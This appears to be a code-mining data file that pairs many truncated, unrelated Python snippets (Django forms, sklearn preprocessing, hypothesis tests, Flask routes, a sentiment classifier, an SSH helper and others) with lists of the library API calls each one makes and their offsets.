from django.utils.translation import ugettext as _, u... | [
"django.utils.translation.ugettext",
"corehq.util.spreadsheets.excel.WorkbookJSONReader"
] | [((634, 659), 'corehq.util.spreadsheets.excel.WorkbookJSONReader', 'WorkbookJSONReader', (['value'], {}), '(value)\n', (652, 659), False, 'from corehq.util.spreadsheets.excel import WorksheetNotFound, WorkbookJSONReader\n'), ((569, 595), 'django.utils.translation.ugettext', '_', (['"""Please choose a file."""'], {}), "... |
from sklearn.preprocessing import StandardScaler, MinMaxScaler, LabelEncoder
from sklearn.model_selection import train_test_split
import pandas as pd
import numpy as np
df = pd.read_csv('final-data-v3.csv')
y = df['binned-points']
x_mm = df.drop(columns=['points','binned-points'])
x_s= df.drop(columns=['points','binn... | [
"pandas.read_csv",
"sklearn.model_selection.train_test_split",
"sklearn.preprocessing.MinMaxScaler",
"sklearn.preprocessing.StandardScaler"
] | [((175, 207), 'pandas.read_csv', 'pd.read_csv', (['"""final-data-v3.csv"""'], {}), "('final-data-v3.csv')\n", (186, 207), True, 'import pandas as pd\n'), ((346, 360), 'sklearn.preprocessing.MinMaxScaler', 'MinMaxScaler', ([], {}), '()\n', (358, 360), False, 'from sklearn.preprocessing import StandardScaler, MinMaxScale... |
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
"""Setup dot py."""
from __future__ import absolute_import, print_function
# import re
from glob import glob
from os.path import basename, dirname, join, splitext
from setuptools import find_packages, setup
def read(*names, **kwargs):
"""Read description files."""... | [
"os.path.basename",
"os.path.dirname",
"glob.glob",
"os.path.join",
"setuptools.find_packages"
] | [((337, 354), 'os.path.dirname', 'dirname', (['__file__'], {}), '(__file__)\n', (344, 354), False, 'from os.path import basename, dirname, join, splitext\n'), ((898, 927), 'os.path.join', 'join', (['"""docs"""', '"""CHANGELOG.rst"""'], {}), "('docs', 'CHANGELOG.rst')\n", (902, 927), False, 'from os.path import basename... |
import unittest
from hypothesis import given
from ex5 import LinkedListNode, LinkedList
from hypothesis.strategies import integers, lists
class TestNodeEq(unittest.TestCase):
@given(integers(min_value=-100, max_value=100))
def test_diff_type(self, a):
n1 = LinkedListNode(a)
self.assertEqual(n1... | [
"unittest.main",
"hypothesis.strategies.integers",
"ex5.LinkedListNode",
"ex5.LinkedList"
] | [((7729, 7744), 'unittest.main', 'unittest.main', ([], {}), '()\n', (7742, 7744), False, 'import unittest\n'), ((275, 292), 'ex5.LinkedListNode', 'LinkedListNode', (['a'], {}), '(a)\n', (289, 292), False, 'from ex5 import LinkedListNode, LinkedList\n'), ((188, 227), 'hypothesis.strategies.integers', 'integers', ([], {'... |
# coding: utf-8
"""
Consolidate Services
Description of all APIs # noqa: E501
The version of the OpenAPI document: version not set
Generated by: https://openapi-generator.tech
"""
import pprint
import re # noqa: F401
import six
from argocd_client.configuration import Configuration
class Repos... | [
"six.iteritems",
"argocd_client.configuration.Configuration"
] | [((5756, 5789), 'six.iteritems', 'six.iteritems', (['self.openapi_types'], {}), '(self.openapi_types)\n', (5769, 5789), False, 'import six\n'), ((1544, 1559), 'argocd_client.configuration.Configuration', 'Configuration', ([], {}), '()\n', (1557, 1559), False, 'from argocd_client.configuration import Configuration\n')] |
import re
# Check if the string starts with "The" and ends with "Spain":
txt = "The rain in Spain"
x = re.search("^The.*Spain$", txt)
if x:
print("YES! We have a match!")
else:
print("No match")
| [
"re.search"
] | [((105, 135), 're.search', 're.search', (['"""^The.*Spain$"""', 'txt'], {}), "('^The.*Spain$', txt)\n", (114, 135), False, 'import re\n')] |
# std
import logging
import os
import subprocess
from typing import List
# project
from . import Notifier, Event
class ScriptNotifier(Notifier):
def __init__(self, title_prefix: str, config: dict):
logging.info("Initializing script notifier.")
super().__init__(title_prefix, config)
try:
... | [
"logging.info",
"os.path.isfile",
"logging.error",
"os.access"
] | [((213, 258), 'logging.info', 'logging.info', (['"""Initializing script notifier."""'], {}), "('Initializing script notifier.')\n", (225, 258), False, 'import logging\n'), ((518, 550), 'os.path.isfile', 'os.path.isfile', (['self.script_path'], {}), '(self.script_path)\n', (532, 550), False, 'import os\n'), ((416, 473),... |
# Generated by Django 3.0.5 on 2020-05-11 23:45
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('learn_word', '0015_auto_20200509_1119'),
]
operations = [
migrations.RemoveField(
model_name='englishword',
name='or... | [
"django.db.migrations.RemoveField",
"django.db.models.CharField"
] | [((238, 300), 'django.db.migrations.RemoveField', 'migrations.RemoveField', ([], {'model_name': '"""englishword"""', 'name': '"""order"""'}), "(model_name='englishword', name='order')\n", (260, 300), False, 'from django.db import migrations, models\n'), ((449, 494), 'django.db.models.CharField', 'models.CharField', ([]... |
"""from app.api.account.views import account
from app.api.public.views import public
from app.api.blog.views import blog
from app.api.main.views import main
from app.api.jobs.views import jobs
from app.api.employer.views import employer
from app.api.posts.views import feeds
from app.api.organisations.views import orga... | [
"fastapi.APIRouter"
] | [((511, 522), 'fastapi.APIRouter', 'APIRouter', ([], {}), '()\n', (520, 522), False, 'from fastapi import APIRouter\n')] |
"""Untars MYRORSS data."""
import argparse
import numpy
from gewittergefahr.gg_io import myrorss_io
from gewittergefahr.gg_utils import radar_utils
from gewittergefahr.gg_utils import time_conversion
SEPARATOR_STRING = '\n\n' + '*' * 50 + '\n\n'
INPUT_DIR_ARG_NAME = 'top_input_dir_name'
RADAR_FIELDS_ARG_NAME = 'rada... | [
"gewittergefahr.gg_utils.time_conversion.get_spc_dates_in_range",
"gewittergefahr.gg_io.myrorss_io.unzip_1day_tar_file",
"argparse.ArgumentParser"
] | [((1408, 1433), 'argparse.ArgumentParser', 'argparse.ArgumentParser', ([], {}), '()\n', (1431, 1433), False, 'import argparse\n'), ((2758, 2889), 'gewittergefahr.gg_utils.time_conversion.get_spc_dates_in_range', 'time_conversion.get_spc_dates_in_range', ([], {'first_spc_date_string': 'first_spc_date_string', 'last_spc_... |
#!/usr/bin/env python3
import matplotlib.pyplot as plt
import numpy as N
def main(dt=1e-1, R=4, T=1):
"""Example linear stochastic differential equation:
λX(t) dt + μX(t)dW(t)
"""
# The number of points in weiner process we need
wN = int(N.ceil(T/dt))
# First get the random numbers needed to m... | [
"matplotlib.pyplot.show",
"numpy.ceil",
"matplotlib.pyplot.plot",
"numpy.random.randn",
"numpy.insert",
"numpy.cumsum",
"numpy.arange",
"numpy.exp",
"numpy.random.rand",
"numpy.sqrt"
] | [((396, 409), 'numpy.cumsum', 'N.cumsum', (['dWt'], {}), '(dWt)\n', (404, 409), True, 'import numpy as N\n'), ((418, 435), 'numpy.insert', 'N.insert', (['W', '(0)', '(0)'], {}), '(W, 0, 0)\n', (426, 435), True, 'import numpy as N\n'), ((1616, 1634), 'numpy.arange', 'N.arange', (['(0)', 'T', 'dt'], {}), '(0, T, dt)\n', ... |
from django.urls import path
from . import views
urlpatterns = [
path("", views.index, name="index"),
path("all", views.all, name="all"),
path("login", views.login_view, name="login"),
path("logout", views.logout_view, name="logout"),
path("register", views.register, name="register"),
path("cr... | [
"django.urls.path"
] | [((71, 106), 'django.urls.path', 'path', (['""""""', 'views.index'], {'name': '"""index"""'}), "('', views.index, name='index')\n", (75, 106), False, 'from django.urls import path\n'), ((112, 146), 'django.urls.path', 'path', (['"""all"""', 'views.all'], {'name': '"""all"""'}), "('all', views.all, name='all')\n", (116,... |
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
'''
PxUSBm.py
(Partition Expansion USB mount)
This module is a marriage of code to do partition expansion during the first power on (formerly expandFS.py)
and code to monitor USB activity to mount and unmount USB sticks as they are added and removed from
USB ports... | [
"pexpect.spawn",
"subprocess.Popen",
"os.sync",
"pexpect.run",
"os.popen",
"os.path.exists",
"os.system",
"time.sleep",
"logging.info",
"re.search",
"re.compile"
] | [((4126, 4143), 'os.popen', 'os.popen', (['"""lsblk"""'], {}), "('lsblk')\n", (4134, 4143), False, 'import os\n'), ((11481, 11501), 'pexpect.run', 'pexpect.run', (['"""df -h"""'], {}), "('df -h')\n", (11492, 11501), False, 'import pexpect\n'), ((11510, 11547), 're.compile', 're.compile', (['"""/dev/mmcblk[0-9]p[0-9]+""... |
#!/usr/bin/python2
#-*- coding:utf8 -*-
# By sanyle 2018-05-03
import requests
import re,sys,json,os
from bs4 import BeautifulSoup
reload(sys)
sys.setdefaultencoding('utf8')
def javlist(title):
url = "https://javdb4.com/search?f=all&q="
r = requests.get(url+title)
r = r.content.decode("utf-8")
soup =... | [
"requests.get",
"json.dumps",
"sys.setdefaultencoding",
"bs4.BeautifulSoup"
] | [((145, 175), 'sys.setdefaultencoding', 'sys.setdefaultencoding', (['"""utf8"""'], {}), "('utf8')\n", (167, 175), False, 'import re, sys, json, os\n'), ((252, 277), 'requests.get', 'requests.get', (['(url + title)'], {}), '(url + title)\n', (264, 277), False, 'import requests\n'), ((321, 345), 'bs4.BeautifulSoup', 'Bea... |
# Copyright (c) Microsoft Corporation and contributors.
# Licensed under the MIT License.
import os
def data_file(filename):
return os.path.join(os.path.dirname(__file__), "test_data", filename)
| [
"os.path.dirname"
] | [((152, 177), 'os.path.dirname', 'os.path.dirname', (['__file__'], {}), '(__file__)\n', (167, 177), False, 'import os\n')] |
import pyteomics.mzid as py_mzid
import re
import ntpath
import json
import sys
import numpy as np
from time import time
from PeakListParser import PeakListParser
import zipfile
import gzip
import os
class MzIdParseException(Exception):
pass
class MissingFileException(Exception):
pass
class MzIdParser:
... | [
"ntpath.basename",
"zipfile.ZipFile",
"gzip.open",
"os.path.basename",
"pyteomics.mzid.MzIdentML",
"PeakListParser.PeakListParser.extract_gz",
"os.walk",
"PeakListParser.PeakListParser",
"json.dumps",
"time.time",
"re.search",
"os.path.join",
"json.JSONEncoder.default",
"sys.exit"
] | [((2504, 2510), 'time.time', 'time', ([], {}), '()\n', (2508, 2510), False, 'from time import time\n'), ((6630, 6636), 'time.time', 'time', ([], {}), '()\n', (6634, 6636), False, 'from time import time\n'), ((9906, 9912), 'time.time', 'time', ([], {}), '()\n', (9910, 9912), False, 'from time import time\n'), ((14327, 1... |
import time
import ctypes
import mmap
import neural_net.XInputReader as gpad_input
import game_data_struct as gd
# todo rewrite for new game_tick_packet format
def get_game_info(game_tick_packet):
# [BallX, -Y, -Z, BallRotX, -Y, -Z, BallVelX, -Y, -Z, BallAngVelX, -Y, -Z, BallAccX, -Y, -Z] entries 0-14 (SelfInfo)
# ... | [
"ctypes.addressof",
"ctypes.sizeof",
"neural_net.XInputReader.get_xbox_output",
"time.sleep",
"time.time",
"ctypes.c_long",
"game_data_struct.GameTickPacket"
] | [((3247, 3263), 'ctypes.c_long', 'ctypes.c_long', (['(0)'], {}), '(0)\n', (3260, 3263), False, 'import ctypes\n'), ((3284, 3303), 'game_data_struct.GameTickPacket', 'gd.GameTickPacket', ([], {}), '()\n', (3301, 3303), True, 'import game_data_struct as gd\n'), ((3089, 3129), 'ctypes.sizeof', 'ctypes.sizeof', (['gd.GameT... |
import sys
import os
os.environ['ABACUS'] = os.environ['HOME'] + '/abacus'
sys.path.insert(0, os.environ['ABACUS'])
from pathlib import Path
from abacusnbody.data import read_abacus
from abacusnbody.data.compaso_halo_catalog import CompaSOHaloCatalog
import astropy.table
from astropy.table import Table
import numba ... | [
"numpy.abs",
"numpy.log",
"numpy.roll",
"numpy.empty_like",
"sys.path.insert",
"abacusnbody.data.read_abacus.read_asdf",
"pathlib.Path",
"numpy.linspace",
"Corrfunc.theory.DD",
"matplotlib.pyplot.subplots"
] | [((76, 116), 'sys.path.insert', 'sys.path.insert', (['(0)', "os.environ['ABACUS']"], {}), "(0, os.environ['ABACUS'])\n", (91, 116), False, 'import sys\n'), ((421, 467), 'pathlib.Path', 'Path', (['"""/mnt/home/lgarrison/ceph/AbacusSummit/"""'], {}), "('/mnt/home/lgarrison/ceph/AbacusSummit/')\n", (425, 467), False, 'fro... |
"""Test of the core functionality"""
import pytest
from panel.layout import Column
from awesome_panel.utils.title_awesome import title_awesome
@pytest.mark.panel
def test_title_awesome():
"""Test that we can write awesome title with the awesome badge
- one with additional text
- one with add... | [
"awesome_panel.utils.title_awesome.title_awesome",
"panel.layout.Column"
] | [((367, 384), 'awesome_panel.utils.title_awesome.title_awesome', 'title_awesome', (['""""""'], {}), "('')\n", (380, 384), False, 'from awesome_panel.utils.title_awesome import title_awesome\n'), ((403, 424), 'awesome_panel.utils.title_awesome.title_awesome', 'title_awesome', (['"""Test"""'], {}), "('Test')\n", (416, 42... |
import logging
from collections import defaultdict
from typing import TYPE_CHECKING, Dict, Optional
from ...base import (
EXEC_BASELINE,
EXEC_BRANCH,
EXEC_HEAD,
EXEC_MERGE,
ExpStashEntry,
)
from ..local import TempDirExecutor, WorkspaceExecutor
from .base import BaseExecutorManager
if TYPE_CHECKIN... | [
"collections.defaultdict",
"logging.getLogger",
"dvc.exceptions.DvcException"
] | [((396, 423), 'logging.getLogger', 'logging.getLogger', (['__name__'], {}), '(__name__)\n', (413, 423), False, 'import logging\n'), ((2256, 2273), 'collections.defaultdict', 'defaultdict', (['dict'], {}), '(dict)\n', (2267, 2273), False, 'from collections import defaultdict\n'), ((2692, 2751), 'dvc.exceptions.DvcExcept... |
from __future__ import annotations
from escnn import gspaces
from escnn import kernels
from escnn.group import *
from .utils import linear_transform_array_3d
import numpy as np
from typing import Tuple, Union, Callable, List
__all__ = [
"GSpace3D",
###########
"flipRot3dOnR3",
"rot3dOnR3",
"fu... | [
"escnn.kernels.kernels_SO3_act_R3",
"escnn.kernels.kernels_O3_act_R3",
"escnn.kernels.kernels_O3_subgroup_act_R3",
"escnn.kernels.kernels_SO3_subgroup_act_R3"
] | [((4671, 4784), 'escnn.kernels.kernels_O3_act_R3', 'kernels.kernels_O3_act_R3', (['in_repr', 'out_repr', 'rings', 'sigma'], {'maximum_frequency': 'maximum_frequency', 'adjoint': 'None'}), '(in_repr, out_repr, rings, sigma,\n maximum_frequency=maximum_frequency, adjoint=None)\n', (4696, 4784), False, 'from escnn impo... |
from subprocess import Popen, PIPE
from django.contrib.auth import get_user_model
from celery import shared_task
from config.celery import app
from shared_code.name_utils import (
create_user_spam_queue_name,
create_user_email_queue_name,
create_worker_celery_name,
create_spam_worker_celery_name,
cr... | [
"config.celery.app.control.broadcast",
"shared_code.name_utils.create_spam_worker_celery_name",
"shared_code.name_utils.create_user_email_queue_name",
"shared_code.name_utils.create_user_spam_queue_name",
"django.contrib.auth.get_user_model",
"config.celery.app.control.inspect",
"shared_code.name_utils.... | [((451, 491), 'shared_code.name_utils.create_worker_celery_name', 'create_worker_celery_name', (['"""main_worker"""'], {}), "('main_worker')\n", (476, 491), False, 'from shared_code.name_utils import create_user_spam_queue_name, create_user_email_queue_name, create_worker_celery_name, create_spam_worker_celery_name, cr... |
#!/usr/bin/python3
"""
Sentiment analysis using NLTK package in Python
"""
__author__ = "Sunil"
__copyright__ = "Copyright (c) 2017 Sunil"
__license__ = "MIT License"
__email__ = "<EMAIL>"
__version__ = "0.1"
import random
import sys
import numpy as np
from nltk.corpus import movie_reviews as reviews
from nltk.corp... | [
"nltk.corpus.movie_reviews.raw",
"sklearn.linear_model.SGDClassifier",
"sklearn.feature_extraction.text.TfidfVectorizer",
"sklearn.metrics.accuracy_score",
"numpy.dtype",
"sklearn.preprocessing.LabelEncoder",
"sklearn.model_selection.KFold",
"numpy.mean",
"numpy.array",
"nltk.corpus.movie_reviews.... | [((1926, 1949), 'numpy.random.shuffle', 'np.random.shuffle', (['data'], {}), '(data)\n', (1943, 1949), True, 'import numpy as np\n'), ((1981, 1992), 'numpy.array', 'np.array', (['X'], {}), '(X)\n', (1989, 1992), True, 'import numpy as np\n'), ((2001, 2012), 'numpy.array', 'np.array', (['y'], {}), '(y)\n', (2009, 2012),... |
import inspect
from functools import wraps
from typing import Callable, Dict, Optional, Type
from flask import g, request
from pydantic import BaseModel
from .args import BaseApiBody, BaseApiPath, BaseApiQuery
from .handler import Handler
def inject_args_decorator(cls: Type[Handler]) -> Callable:
"""inject body... | [
"flask.request.view_args.clear",
"flask.request.view_args.items",
"inspect.signature",
"functools.wraps"
] | [((430, 479), 'inspect.signature', 'inspect.signature', (['view_func'], {'follow_wrapped': '(True)'}), '(view_func, follow_wrapped=True)\n', (447, 479), False, 'import inspect\n'), ((2488, 2497), 'functools.wraps', 'wraps', (['fn'], {}), '(fn)\n', (2493, 2497), False, 'from functools import wraps\n'), ((3759, 3768), 'f... |
from __future__ import annotations
from fastapi import APIRouter, Depends, HTTPException, Security
from fastapi.security import OAuth2PasswordRequestForm
from sqlalchemy.orm import Session
from seizmeia.db import get_db
from seizmeia.user import db, schemas
from seizmeia.user.security import (
authenticate_user,
... | [
"seizmeia.user.security.authenticate_user",
"seizmeia.user.security.create_user_w_hashed_password",
"seizmeia.user.token.Token",
"seizmeia.user.token.create_access_token",
"fastapi.HTTPException",
"fastapi.Security",
"fastapi.APIRouter",
"fastapi.Depends",
"seizmeia.user.db.get_user_by_username"
] | [((459, 484), 'fastapi.APIRouter', 'APIRouter', ([], {'tags': "['users']"}), "(tags=['users'])\n", (468, 484), False, 'from fastapi import APIRouter, Depends, HTTPException, Security\n'), ((1183, 1207), 'fastapi.APIRouter', 'APIRouter', ([], {'tags': "['auth']"}), "(tags=['auth'])\n", (1192, 1207), False, 'from fastapi... |
#!/usr/bin/env python
import argparse
import configparser
import os
import itertools
import pathlib
import random
import matplotlib.pyplot as plt
import numpy as np
import matplotlib.patches as mpatches
from matplotlib.lines import Line2D
from matplotlib import gridspec
from numpy.polynomial.polynomial import polyfi... | [
"numpy.sum",
"argparse.ArgumentParser",
"numpy.argmax",
"numpy.empty",
"pathlib.Path",
"mpl_toolkits.axes_grid1.inset_locator.mark_inset",
"os.path.join",
"numpy.append",
"numpy.loadtxt",
"matplotlib.pyplot.rc",
"numpy.linspace",
"itertools.product",
"configparser.ConfigParser",
"matplotli... | [((5320, 5349), 'matplotlib.pyplot.rc', 'plt.rc', (['"""xtick"""'], {'labelsize': '(16)'}), "('xtick', labelsize=16)\n", (5326, 5349), True, 'import matplotlib.pyplot as plt\n'), ((5354, 5383), 'matplotlib.pyplot.rc', 'plt.rc', (['"""ytick"""'], {'labelsize': '(16)'}), "('ytick', labelsize=16)\n", (5360, 5383), True, '... |
# -*- coding: utf-8 -*-
"""
ptolemy.source
This module implements the source functionality.
"""
import logging
import os
from jsonschema import validate
import yaml
from .exceptions import InvalidFileError
from .mapping import Mapping
class Source(object): # pylint: disable=too-few-public-methods
"""
S... | [
"jsonschema.validate",
"os.getcwd",
"os.path.dirname",
"os.path.isfile",
"yaml.safe_load",
"logging.getLogger"
] | [((588, 615), 'logging.getLogger', 'logging.getLogger', (['__name__'], {}), '(__name__)\n', (605, 615), False, 'import logging\n'), ((1856, 1892), 'jsonschema.validate', 'validate', (['self.source', 'source_schema'], {}), '(self.source, source_schema)\n', (1864, 1892), False, 'from jsonschema import validate\n'), ((654... |
# Game Architecture Network Layer
#
# Copyright (c) 2014 <NAME>, Univ. of Applied Sciences Upper Austria.
# All rights reserved.
#
# This file is subject to the terms and conditions defined in file
# 'LICENSE', which is part of this source code package.
#
# THIS CODE IS PROVIDED AS EDUCATIONAL MATERIAL AND NOT INTENDE... | [
"pkg_resources.get_distribution",
"imp.find_module"
] | [((810, 842), 'imp.find_module', 'imp.find_module', (['"""pkg_resources"""'], {}), "('pkg_resources')\n", (825, 842), False, 'import imp\n'), ((909, 934), 'pkg_resources.get_distribution', 'get_distribution', (['"""ganet"""'], {}), "('ganet')\n", (925, 934), False, 'from pkg_resources import get_distribution\n')] |
# -*- coding: utf-8 -*-
# Generated by Django 1.9.4 on 2016-11-11 20:19
from __future__ import unicode_literals
from django.db import migrations, models
class Migration(migrations.Migration):
dependencies = [
('accounts', '0024_auto_20161111_1719'),
]
operations = [
migrations.AddField(... | [
"django.db.models.BooleanField"
] | [((420, 531), 'django.db.models.BooleanField', 'models.BooleanField', ([], {'default': '(False)', 'help_text': '"""Check this to allow the account to authorize applications."""'}), "(default=False, help_text=\n 'Check this to allow the account to authorize applications.')\n", (439, 531), False, 'from django.db impor... |
# Solution of;
# Project Euler Problem 544: Chromatic Conundrum
# https://projecteuler.net/problem=544
#
# Let F(r,c,n) be the number of ways to colour a rectangular grid with r rows
# and c columns using at most n colours such that no two adjacent cells share
# the same colour. Cells that are diagonal to each other... | [
"timed.caller"
] | [((726, 760), 'timed.caller', 'timed.caller', (['dummy', 'n', 'i', 'prob_id'], {}), '(dummy, n, i, prob_id)\n', (738, 760), False, 'import timed\n')] |
## -*- coding: utf-8 -*-
from .vendor.Qt import QtCore, QtGui, QtWidgets
from . import lib
from . import button
from . import shelf_option
import copy
TITLE = 'SiShelfXPOP'
def main(tab=None, load_file=None):
'''
:param tab: タブ名を文字列で指定。
通常第1階層がタブになるが、タブ名を指定すればタブの内部が第1階層になる
:return:
'''
... | [
"copy.deepcopy"
] | [((3623, 3643), 'copy.deepcopy', 'copy.deepcopy', (['parts'], {}), '(parts)\n', (3636, 3643), False, 'import copy\n')] |
#!/usr/bin/env python3
from sys import exit
import busmonitor as bm
from custexcept import APIException, APIInitException
cmd_str = "Commands: get (a)gencies, get (r)outes for agency, get route (i)nfo"
if __name__ == '__main__':
try:
bus = bm.BusMonitor()
except APIInitException as e:
print(... | [
"busmonitor.BusMonitor",
"sys.exit"
] | [((256, 271), 'busmonitor.BusMonitor', 'bm.BusMonitor', ([], {}), '()\n', (269, 271), True, 'import busmonitor as bm\n'), ((347, 354), 'sys.exit', 'exit', (['(1)'], {}), '(1)\n', (351, 354), False, 'from sys import exit\n')] |
from django.shortcuts import render
from books.models import Subject
def subject(request):
subjects = Subject.objects.all()
context = {'subjects': subjects}
return render(request, 'main/navbar.html', context)
| [
"django.shortcuts.render",
"books.models.Subject.objects.all"
] | [((108, 129), 'books.models.Subject.objects.all', 'Subject.objects.all', ([], {}), '()\n', (127, 129), False, 'from books.models import Subject\n'), ((178, 222), 'django.shortcuts.render', 'render', (['request', '"""main/navbar.html"""', 'context'], {}), "(request, 'main/navbar.html', context)\n", (184, 222), False, 'f... |
import os
from collections import OrderedDict
from irekua_dev_settings.settings import *
from irekua_database.settings import *
from irekua_models.settings import *
from irekua_autocomplete.settings import *
from selia_templates.settings import *
from selia_registration.settings import *
from selia_managers.settings i... | [
"collections.OrderedDict.fromkeys",
"os.path.dirname",
"os.path.join",
"os.path.abspath"
] | [((427, 452), 'os.path.dirname', 'os.path.dirname', (['BASE_DIR'], {}), '(BASE_DIR)\n', (442, 452), False, 'import os\n'), ((479, 511), 'os.path.join', 'os.path.join', (['BASE_DIR', '"""locale"""'], {}), "(BASE_DIR, 'locale')\n", (491, 511), False, 'import os\n'), ((606, 794), 'collections.OrderedDict.fromkeys', 'Order... |
"""Definition for mixin that defines helpers for sending message."""
from typing import Any, BinaryIO, Dict, Optional, TextIO, Union
from uuid import UUID
from botx.models.files import File
from botx.models.messages.message import Message
from botx.models.messages.sending.credentials import SendingCredentials
from bo... | [
"botx.models.messages.sending.payload.UpdatePayload.from_sending_payload",
"botx.models.messages.sending.message.SendingMessage"
] | [((2453, 2540), 'botx.models.messages.sending.message.SendingMessage', 'SendingMessage', ([], {'text': 'text', 'markup': 'markup', 'options': 'options', 'credentials': 'credentials'}), '(text=text, markup=markup, options=options, credentials=\n credentials)\n', (2467, 2540), False, 'from botx.models.messages.sending... |
from __future__ import print_function
from retinanet.dataloader2 import UnNormalizer
import numpy as np
import json
import os
import matplotlib
import matplotlib.pyplot as plt
import torch
import cv2
import pandas as pd
def compute_overlap(a, b):
"""
Parameters
----------
a: (N, 4) ndarray of float
... | [
"matplotlib.pyplot.title",
"numpy.sum",
"numpy.maximum",
"numpy.argmax",
"numpy.argsort",
"matplotlib.pyplot.figure",
"torch.no_grad",
"pandas.DataFrame",
"numpy.cumsum",
"numpy.finfo",
"numpy.append",
"matplotlib.pyplot.ylim",
"retinanet.dataloader2.UnNormalizer",
"matplotlib.use",
"tor... | [((738, 755), 'numpy.maximum', 'np.maximum', (['iw', '(0)'], {}), '(iw, 0)\n', (748, 755), True, 'import numpy as np\n'), ((765, 782), 'numpy.maximum', 'np.maximum', (['ih', '(0)'], {}), '(ih, 0)\n', (775, 782), True, 'import numpy as np\n'), ((1454, 1471), 'numpy.maximum', 'np.maximum', (['iw', '(0)'], {}), '(iw, 0)\n... |
from django.db import models
GENRES = (
(1, "Romans"),
(2, "Obyczajowa"),
(3, "Sci-fi i fantasy"),
(4, "Literatura faktu"),
(5, "Popularnonaukowa"),
(6, "Poradnik"),
(7, "Kryminał, sensacja")
)
class Book(models.Model):
author = models.CharField(max_length=200)
title = models.Char... | [
"django.db.models.CharField",
"django.db.models.IntegerField"
] | [((264, 296), 'django.db.models.CharField', 'models.CharField', ([], {'max_length': '(200)'}), '(max_length=200)\n', (280, 296), False, 'from django.db import models\n'), ((309, 341), 'django.db.models.CharField', 'models.CharField', ([], {'max_length': '(200)'}), '(max_length=200)\n', (325, 341), False, 'from django.d... |
from git import Repo
import os
import time
os.system('swiftc -suppress-warnings -o main buggy_main.swift')
time.sleep(2)
os.system('./main')
repo_dir = ""
repo = Repo(repo_dir,search_parent_directories=True)
#Please Enter The absolute path of the log.txt file here!
file_list = ['/home/amoghrd/HW2_SoftwareEngineeri... | [
"git.Repo",
"os.system",
"time.sleep"
] | [((44, 107), 'os.system', 'os.system', (['"""swiftc -suppress-warnings -o main buggy_main.swift"""'], {}), "('swiftc -suppress-warnings -o main buggy_main.swift')\n", (53, 107), False, 'import os\n'), ((109, 122), 'time.sleep', 'time.sleep', (['(2)'], {}), '(2)\n', (119, 122), False, 'import time\n'), ((124, 143), 'os.... |
from flask import Flask
app = Flask(__name__)
@app.route('/')
def index():
return 'Index page'
@app.route('/hello')
def hello():
return 'Hello page'
@app.route('/var/<name>')
def var_name(name):
return 'Name provided is %s' % name
if __name__ == '__main__':
app.run(debug=True)
| [
"flask.Flask"
] | [((30, 45), 'flask.Flask', 'Flask', (['__name__'], {}), '(__name__)\n', (35, 45), False, 'from flask import Flask\n')] |
import os
import yaml
import argparse
from typing import Dict, Any, Callable, Optional
from definitions import ROOT_DIR
def load_config(filename: str, sub_config: Optional[str] = None) -> Dict:
config_filename = os.path.join(ROOT_DIR, "config", filename)
if sub_config is not None:
return yaml.safe_lo... | [
"os.path.join",
"argparse.ArgumentParser",
"argparse.ArgumentTypeError"
] | [((219, 261), 'os.path.join', 'os.path.join', (['ROOT_DIR', '"""config"""', 'filename'], {}), "(ROOT_DIR, 'config', filename)\n", (231, 261), False, 'import os\n'), ((940, 965), 'argparse.ArgumentParser', 'argparse.ArgumentParser', ([], {}), '()\n', (963, 965), False, 'import argparse\n'), ((2597, 2650), 'argparse.Argu... |
import functools
import logging
import time
from django.db import connection, reset_queries
logger = logging.getLogger(__name__)
def query_debugger(func):
@functools.wraps(func)
def inner_func(*args, **kwargs):
reset_queries()
start_queries = len(connection.queries)
start = time.... | [
"django.db.reset_queries",
"time.perf_counter",
"functools.wraps",
"logging.getLogger"
] | [((103, 130), 'logging.getLogger', 'logging.getLogger', (['__name__'], {}), '(__name__)\n', (120, 130), False, 'import logging\n'), ((165, 186), 'functools.wraps', 'functools.wraps', (['func'], {}), '(func)\n', (180, 186), False, 'import functools\n'), ((233, 248), 'django.db.reset_queries', 'reset_queries', ([], {}), ... |
from operator import matmul
from matplotlib import image
import numpy as np
import cv2 # OpenCV
import math
from matplotlib import pyplot as plt
import os
from ..utils.process_text_file import ProcessTextFile
class Image:
def __init__(self):
self.gs = []
def load_image(self, image_fname, display=Fals... | [
"matplotlib.pyplot.show",
"cv2.cvtColor",
"matplotlib.pyplot.imshow",
"matplotlib.pyplot.yticks",
"numpy.ones",
"cv2.imread",
"numpy.linspace",
"matplotlib.pyplot.xticks"
] | [((346, 369), 'cv2.imread', 'cv2.imread', (['image_fname'], {}), '(image_fname)\n', (356, 369), False, 'import cv2\n'), ((388, 433), 'cv2.cvtColor', 'cv2.cvtColor', (['color_image', 'cv2.COLOR_BGR2GRAY'], {}), '(color_image, cv2.COLOR_BGR2GRAY)\n', (400, 433), False, 'import cv2\n'), ((731, 750), 'matplotlib.pyplot.ims... |
"""IRC command data and utilities"""
from typing import Iterator, List, Mapping, Optional, cast
import attr
__all__ = ("Command", "client_commands")
@attr.s(frozen=True, hash=True, auto_attribs=True)
class CommandArgument:
"""A single IRC command argument"""
name: str
required: Optional[bool] = True
... | [
"attr.s"
] | [((154, 203), 'attr.s', 'attr.s', ([], {'frozen': '(True)', 'hash': '(True)', 'auto_attribs': '(True)'}), '(frozen=True, hash=True, auto_attribs=True)\n', (160, 203), False, 'import attr\n'), ((1014, 1063), 'attr.s', 'attr.s', ([], {'frozen': '(True)', 'hash': '(True)', 'auto_attribs': '(True)'}), '(frozen=True, hash=T... |
import os
import csv
budget_csv = os.path.join('PyBank', 'Resources', 'budget_data.csv')
date = []
pro_loss = []
pro_loss_diff = []
with open(budget_csv) as csvfile:
print("Finanacial Analysis")
print('----------------------------')
# Read in data in budget_data.csv with ',' delimiter
bank_data = c... | [
"csv.reader",
"os.path.join"
] | [((35, 89), 'os.path.join', 'os.path.join', (['"""PyBank"""', '"""Resources"""', '"""budget_data.csv"""'], {}), "('PyBank', 'Resources', 'budget_data.csv')\n", (47, 89), False, 'import os\n'), ((319, 353), 'csv.reader', 'csv.reader', (['csvfile'], {'delimiter': '""","""'}), "(csvfile, delimiter=',')\n", (329, 353), Fal... |
from io import StringIO
import logging
from contextlib import contextmanager
from fabric import Connection as FabricConnection
from invoke.exceptions import Failure, ThreadException, UnexpectedExit
from paramiko import ssh_exception
from yurt import config
from yurt.exceptions import VMException
@contextmanager
def ... | [
"io.StringIO",
"yurt.config.get_config",
"logging.debug",
"yurt.exceptions.VMException"
